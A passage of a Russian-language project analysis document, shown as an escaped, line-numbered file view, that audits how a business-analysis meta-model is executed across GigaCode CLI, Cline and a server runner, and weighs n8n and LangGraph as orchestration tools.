2026-09-29\\n5\\ttemperature: 0.1\\n6\\ttype: analysis\\n7\\tscope: mango-only\\n8\\tsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639\\\"\\n9\\tbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\n10\\trelated_artifacts:\\n11\\t  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620\\\"\\n12\\t  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\\"\\n13\\t  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py\\\"\\n14\\t  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\\"\\n15\\t  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\\"\\n16\\t  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615\\\"\\n17\\t---\\n18\\t\\n19\\t# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n20\\t\\n21\\t\u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\\n22\\t[issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639)\\n23\\t\u043f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620):\\n24\\tCline \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439. \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Source\\n25\\t\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0451 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0434\u043b\u044f\\n26\\t\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u041f\u0443\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442,\\n27\\t\u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.\\n28\\t\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 Cline, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25 \u2014 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n29\\t\u0441\u0438\u043b\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b:\\n30\\t[\u00ab\u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u043f\u0430\u043a\u0435\u0442 Cline VS Code\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n31\\t\u0417\u0434\u0435\u0441\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u0441 \u0413-26.\\n32\\t\\n33\\t## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n34\\t\\n35\\t**\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432 \u043b\u0435\u0436\u0438\u0442 \u043d\u0435 \u0432 Cline \u0438 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0443 \u0440\u043e\u043b\u0438\\n36\\t\u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443 \u0447\u0438\u0442\u0430\u0442\u044c\\n37\\t\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043d\u043e \u0441\u0440\u0435\u0434\u0438 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n38\\t\u0435\u0433\u043e \u043d\u0435\u0442, \u0430 `Actor` \u2014 \u044d\u0442\u043e \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a ([\u0413-26](#\u0433-26)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\\n39\\t\u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043c\u043e\u043b\u0447\u0430 \u0432\u0437\u044f\u043b \u043d\u0430 \u0441\u0435\u0431\u044f \u043a\u0442\u043e-\u0442\u043e \u0434\u0440\u0443\u0433\u043e\u0439: \u0432 GigaCode CLI \u2014\\n40\\t\u0440\u0443\u043a\u0438 \u0411\u0410, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430; \u0432 Cline \u2014 \u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f\\n41\\t\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b. \u041e\u0442\u0441\u044e\u0434\u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b: \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437 YAML\\n42\\t\u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f ([\u0413-28](#\u0433-28)), \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0448\u0430\u0433\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435\\n43\\t\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430 ([\u0413-29](#\u0433-29)), \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\\n44\\t\u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 ([\u0413-31](#\u0433-31)), \u0430 \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442\\n45\\t\u0437\u0430\u0434\u0430\u0447\u0443 ([\u0413-32](#\u0433-32)).\\n46\\t\\n47\\t**\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0434\u0432\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u044f\u0434\u0440\u0435.**\\n48\\t\\n49\\t1. **\u0420\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410 (\u0441\u0440\u0435\u0434\u044b 1 \u0438 2).** \u041f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c `tools/run-task` \u0438\u0437\\n50\\t   \u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a\u0430 \u0432 \u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e: runner \u0441\u0430\u043c \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444 \u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0438\u0437 Source,\\n51\\t   \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c, \u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\\n52\\t   \u00ab\u0447\u0442\u043e \u0434\u0430\u043b\u044c\u0448\u0435\u00bb \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u044f\u0437\u044b\u043a\u043e\u043c. GigaCode CLI \u0438 Cline \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n53\\t   \u0442\u0435\u043c, \u0447\u0435\u043c \u043e\u043d\u0438 \u0441\u0438\u043b\u044c\u043d\u044b, \u2014 \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435\\n54\\t   \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440,\\n55\\t   \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0438 \u0442\u0435\u0441\u0442\u044b ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-1-\u0440\u0430\u0431\u043e\u0447\u0435\u0435-\u043c\u0435\u0441\u0442\u043e-\u0431\u0430)).\\n56\\t2. **\u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430: \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\\n57\\t   \u0432 Postgres, \u0432\u044b\u0437\u043e\u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435\\n58\\t   \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u0447\u0430\u0442 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0443, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438. \u0414\u0432\u0438\u0436\u043e\u043a \u2014\\n59\\t   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442; \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430\\n60\\t   \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438. \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0434\u043b\u044f \u0411\u0410 \u2014 \u0442\u043e\u043d\u043a\u0438\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u043a API\\n61\\t   runner ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-2-\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f-\u0441\u0440\u0435\u0434\u0430-4)).\\n62\\t\\n63\\t**\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043f\u0440\u043e n8n \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e** ([\u0413-44](#\u0433-44)). n8n \u0445\u043e\u0440\u043e\u0448 \u043a\u0430\u043a\\n64\\t\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0444\u043e\u0440\u043c\u044b, \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, Jira, \u0432\u044b\u0437\u043e\u0432 \u043c\u043e\u0434\u0435\u043b\u0438 \u0447\u0435\u0440\u0435\u0437\\n65\\tOpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441. \u041a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043e\u043d \u0445\u0443\u0436\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e runner:\\n66\\t\u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432 n8n \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b\\n67\\t\u0440\u044f\u0434\u043e\u043c \u0441 Source; \u0443\u0437\u0435\u043b AI Agent \u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442, \u043a\u0430\u043a\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c, \u2014 \u0442\u0430\\n68\\t\u0436\u0435 \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u044c, \u0447\u0442\u043e \u0432 Cline; \u0430 \u043f\u043e\u0442\u043e\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\\n69\\t2026 \u0433\u043e\u0434\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430 \u0438 \u0434\u0438\u0441\u0446\u0438\u043f\u043b\u0438\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u0412\\n70\\t\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u0430\u043a \u0441\u043b\u043e\u0439 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u043f\u043e\u0432\u0435\u0440\u0445 API runner, \u043d\u043e \u043d\u0435\\n71\\t\u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0433\u043e.\\n72\\t\\n73\\t## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n74\\t\\n75\\t- **\u0427\u0442\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n76\\t  [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n77\\t  \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; \u0434\u0432\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014\\n78\\t  [GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli)\\n79\\t  \u0438\\n80\\t  [Cline VS Code](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-cline-vscode);\\n81\\t  \u0441\u0440\u0435\u0434\u044b 1\u20134 \u0438\u0437\\n82\\t  [issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)\\n83\\t  \u0438 [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96);\\n84\\t  \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430: n8n, LangGraph, Temporal, Dify, Flowise,\\n85\\t  Windmill, Kestra, Prefect, Camunda, Operaton, \u0447\u0430\u0442-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b\\n86\\t  \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.\\n87\\t- **\u0427\u0442\u043e \u043d\u0435 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439,\\n88\\t  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0434\u0430\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Mango: \u0441\u0435\u0442\u044c,\\n89\\t  \u043f\u0440\u0430\u0432\u0430, \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence. \u0416\u0438\u0432\u043e\u0439 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043d\u0430 n8n \u0438\u043b\u0438 LangGraph\\n90\\t  \u043d\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u043b\u0441\u044f; \u0432\u044b\u0432\u043e\u0434\u044b \u043e \u043d\u0438\u0445 \u043e\u043f\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434.\\n91\\t- **\u0414\u043b\u044f \u043a\u043e\u0433\u043e.** \u0414\u043b\u044f \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0442\u0430\u0432\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0438 \u043c\u0443\u043b\u044c\u0442\u0438\u0430\u0433\u0435\u043d\u0442\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435\\n92\\t  \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0435\u0441\u0442\u044c \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b: \u043a\u0430\u043a\\n93\\t  \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f, \u0433\u0435\u0439\u0442 \u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0441\u0442\u0438\u043d\u044b, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0432\u044b\u0431\u0438\u0440\u0430\u0442\u044c\\n94\\t  \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442.\\n95\\t\\n96\\t## \u041c\u0435\u0442\u043e\u0434\\n97\\t\\n98\\t1. **\u0422\u0440\u0438 \u0441\u043b\u043e\u044f.** \u041a\u0430\u0436\u0434\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0441\u043b\u043e\u044e: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n99\\t   (\u0433\u0440\u0443\u043f\u043f\u0430 [\u0415](#\u0435-\u0441\u043b\u043e\u0439-1-\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c-\u0438-\u0435\u0451-\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430-\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f)),\\n100\\t   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[`experiments/issue_639_runner_probes.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py)\\n105\\t   \u0441 [\u0436\u0443\u0440\u043d\u0430\u043b\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log);\\n106\\t   \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2014 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f, \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434\\n107\\t   \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 2026-09-29. \u0412\u0442\u043e\u0440\u0438\u0447\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u044b.\\n108\\t3. **\u0421\u0442\u0430\u0442\u0443\u0441\u044b.** \u00ab\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e\u00bb \u0438 \u00ab\u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e\u00bb \u2014 \u043a\u0430\u043a \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438.\\n109\\t   \u00ab\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u00bb \u2014 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u043d\u043e \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u0432\\n110\\t   \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435. \u00ab\u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e\u00bb \u2014 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043d\u0435\u0442, \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u043a\u0430\u043a\\n111\\t   \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n112\\t4. **\u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0442\u0438\u043f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438** \u2014 \u043a\u0430\u043a \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438: \u0432\u044b\u0441\u043e\u043a\u0430\u044f,\\n113\\t   \u0441\u0440\u0435\u0434\u043d\u044f\u044f, \u043d\u0438\u0437\u043a\u0430\u044f; \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c. 